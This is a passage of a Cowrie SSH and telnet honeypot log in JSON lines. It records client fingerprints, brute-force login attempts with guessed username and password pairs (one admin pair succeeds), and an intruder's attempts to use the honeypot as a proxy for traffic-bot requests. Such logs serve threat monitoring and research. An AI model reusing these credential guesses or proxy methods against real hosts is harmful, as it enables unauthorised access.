{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:44.748985Z","src_ip":"123.27.168.40","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.1","message":"Connection lost after 20.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:44.840107Z","src_ip":"91.92.40.36","session":"1c6b61e11223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.878870725631714,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:45.719460Z","src_ip":"205.210.31.249","session":"1d432ada35e3","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:45.833879Z","src_ip":"123.27.168.40","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.188275Z","src_ip":"91.92.40.36","session":"c891be7d2842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.191498Z","src_ip":"91.92.40.36","session":"c891be7d2842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123qwerty","message":"login attempt [hadoop/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.210297Z","src_ip":"91.92.40.36","session":"2eb4f2ca8d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":24776,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0f04f266025","protocol":"ssh","message":"New connection: 45.153.34.195:24776 (10.17.0.5:22) [session: b0f04f266025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.223311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.236730Z","src_ip":"45.153.34.195","session":"b0f04f266025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.335247Z","src_ip":"45.153.34.195","session":"b0f04f266025","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.421207Z","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.424940Z","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.669298Z","src_ip":"123.27.168.40","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; Redmi 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cnVEPkBBNF5iOGlsWCNLLw%3D%3DOnKNEE2BGiaDrg%2FnJESHMqT6sPUgakKidvuyKQUHIZJzHhYJ%2BjE397STjpKjaN7j0%2BPj8UmWlo7dvUhc8L7dJ22ihjQSOFHt%2F7nHwXxsY9JCIc965i5Uv%2FIQjDFnn%2BXjl9l1W37GzvQ9m0QV%2BNmh3uWKLUWvqBoH5vu6zpOLT4SFC9WSN9vp6NH7ms7WXhF8lunP1bB3vMS56RJQp%2F%2B%2FULB2EVawUZgfImyc44Cvb0NztMsYUEIjLWc6CkJZzrQMiHqSwDsV6%2Fad15VTQjyJSpOKc5TxLAQQmUqsuS4LRzja88Mv2zLidLHIdPO8VUEZCrog55JtIKQxumXK4TKQqKHf1zjhBcqjBXMi4iLzUSV7hk2Jia4VEZK%2BH6F5kdUoQnG5nUMMHZmGxHSFobqOfoMz6v3Cz0gLFSz6mcwxINlirUDkL7D%2FdF1jpCOIlPVtl5x5e%2Fpvd90Zwe6qbI%2FbbsIlxtAoxwjgq98jPwKx3J0XVFrkHJerfV7IZr1AwAKmOePAlRz0U5VmKyLpUPWcAbsExR%2F%2Fr2StFosecmnQl8Pj%2F%2BWBtb5kGEtnM2deKPwf%2FLkNrBGGSgvhJxZqd9OaDGbB0%2B%2FDlCF9t1uVgYQ6PNdSt2h%2FygvUlRdTUEsSreC1IEmHPqQBhfMrxP2KPxCfo9H3KrMvFspATwJ05gEFh2rv7ySgS5O7RBvS7GuV9VL4RfwHMzxcDp06SrMO1H%2BzgkSyh9kaz9%2BtIkToW7Zx5ORoqKlk1wK%2BoHbOPlf%2FUs8BOvZ0Mjxtp%2ByaqWFyX6ehr7jJV7xKjk1SmPFZH6lWRcCpPxsEbjpU3FRAo9DgUOht3M1nludRwiuxLGv%2BRyFL1zjGPmUxjlAK%2F5dPerf0sGK5Iw9mtqsO68SgKy4PQjpAqGmxNDddqQb7vlqT4Ri6mLi4ocfJ%2F7%2BPK5z9RaEcQDPtaWLIVCQrmVMJFQBZUEhNcnCTKynEP2PP1yoJtLaq4sOqD9siMu5ykuHjyrm82uKh1TZuyyRgLMhKPQz1CVUlw576G3Vg%2B6PabUNPwlHG3CYE3zmSZJfp13Ly64X6riI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; Redmi 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cnVEPkBBNF5iOGlsWCNLLw%3D%3DOnKNEE2BGiaDrg%2FnJESHMqT6sPUgakKidvuyKQUHIZJzHhYJ%2BjE397STjpKjaN7j0%2BPj8UmWlo7dvUhc8L7dJ22ihjQSOFHt%2F7nHwXxsY9JCIc965i5Uv%2FIQjDFnn%2BXjl9l1W37GzvQ9m0QV%2BNmh3uWKLUWvqBoH5vu6zpOLT4SFC9WSN9vp6NH7ms7WXhF8lunP1bB3vMS56RJQp%2F%2B%2FULB2EVawUZgfImyc44Cvb0NztMsYUEIjLWc6CkJZzrQMiHqSwDsV6%2Fad15VTQjyJSpOKc5TxLAQQmUqsuS4LRzja88Mv2zLidLHIdPO8VUEZCrog55JtIKQxumXK4TKQqKHf1zjhBcqjBXMi4iLzUSV7hk2Jia4VEZK%2BH6F5kdUoQnG5nUMMHZmGxHSFobqOfoMz6v3Cz0gLFSz6mcwxINlirUDkL7D%2FdF1jpCOIlPVtl5x5e%2Fpvd90Zwe6qbI%2FbbsIlxtAoxwjgq98jPwKx3J0XVFrkHJerfV7IZr1AwAKmOePAlRz0U5VmKyLpUPWcAbsExR%2F%2Fr2StFosecmnQl8Pj%2F%2BWBtb5kGEtnM2deKPwf%2FLkNrBGGSgvhJxZqd9OaDGbB0%2B%2FDlCF9t1uVgYQ6PNdSt2h%2FygvUlRdTUEsSreC1IEmHPqQBhfMrxP2KPxCfo9H3KrMvFspATwJ05gEFh2rv7ySgS5O7RBvS7GuV9VL4RfwHMzxcDp06SrMO1H%2BzgkSyh9kaz9%2BtIkToW7Zx5ORoqKlk1wK%2BoHbOPlf%2FUs8BOvZ0Mjxtp%2ByaqWFyX6ehr7jJV7xKjk1SmPFZH6lWRcCpPxsEbjpU3FRAo9DgUOht3M1nludRwiuxLGv%2BRyFL1zjGPmUxjlAK%2F5dPerf0sGK5Iw9mtqsO68SgKy4PQjpAqGmxNDddqQb7vlqT4Ri6mLi4ocfJ%2F7%2BPK5z9RaEcQDPtaWLIVCQrmVMJFQBZUEhNcnCTKynEP2PP1yoJtLaq4sOqD9siMu5ykuHjyrm82uKh1TZuyyRgLMhKPQz1CVUlw576G3Vg%2B6PabUNPwlHG3CYE3zmSZJfp13Ly64X6riI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.673005Z","src_ip":"123.27.168.40","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.677451Z","src_ip":"123.27.168.40","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb4\\xc4\\x7f\\xde_\\xc1`\\xe6\\xa2\\xe2\\x0c\\xb8\\xff\\xd5\\x1b\\xda\\x9f\\x8e\\x0cWS\\x0f\\x00!x\\x9d\\xaf!j\\xbf\\\\\\xcd \\xe4`+,\\xd4\\x1e\\xcf\\xafN\\xd4\\x9d\\xb2\\xdep\\x83%?\\xb5\\t\\x8c\\x1b\\xc9\\xc8\\x05\\xdd7\\xb1\\xb7\\xb2=\\xa2\\xa7\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfeY\\xbc\\xbf\\xe0\\xac\\x1b\\xc8[e\\xdc\\x9d\\xd93|O\\xc0\\x82\\xc5\\x95\\xef\\xdfz\\xe2@\\xfbb\\x8a\\xda\\x08\\x15\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb4\\xc4\\x7f\\xde_\\xc1`\\xe6\\xa2\\xe2\\x0c\\xb8\\xff\\xd5\\x1b\\xda\\x9f\\x8e\\x0cWS\\x0f\\x00!x\\x9d\\xaf!j\\xbf\\\\\\xcd \\xe4`+,\\xd4\\x1e\\xcf\\xafN\\xd4\\x9d\\xb2\\xdep\\x83%?\\xb5\\t\\x8c\\x1b\\xc9\\xc8\\x05\\xdd7\\xb1\\xb7\\xb2=\\xa2\\xa7\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfeY\\xbc\\xbf\\xe0\\xac\\x1b\\xc8[e\\xdc\\x9d\\xd93|O\\xc0\\x82\\xc5\\x95\\xef\\xdfz\\xe2@\\xfbb\\x8a\\xda\\x08\\x15\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.680221Z","src_ip":"123.27.168.40","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:46.921475Z","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123","message":"login attempt [openclaw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:47.011337Z","src_ip":"45.153.34.195","session":"b0f04f266025","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:47.153275Z","src_ip":"123.27.168.40","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0e\\x80\\x8d\\x95\\xa1\\x87\\xbd\\xe3;\\xa8\\xd6\\x7fkS\\xc5/\\xd33m\\xc7\\xc0\\x91XT#V\\x9a\\xa2\\xf6\\x84\\xef\\x13 \\x83\\xef\\xbc\\x1dr\\xd9\\xe8\\x01\\xb75\\x9b\\xda(\\xdd\\xe9^\\xee\\xcb\\x02~FDOhx\\xfa\\xbb\\xe84\\xb0\\xfa\\xbc\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 L\\x97\\x91`\\xa09\\xea#\\xa9\\xb29\\x14\\xdcw}\\xfc=\\xad\\xdcy\\x0b\\xf7\\x10\\xf3p\\x1d\\x00\\x9c1\\xd1:\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 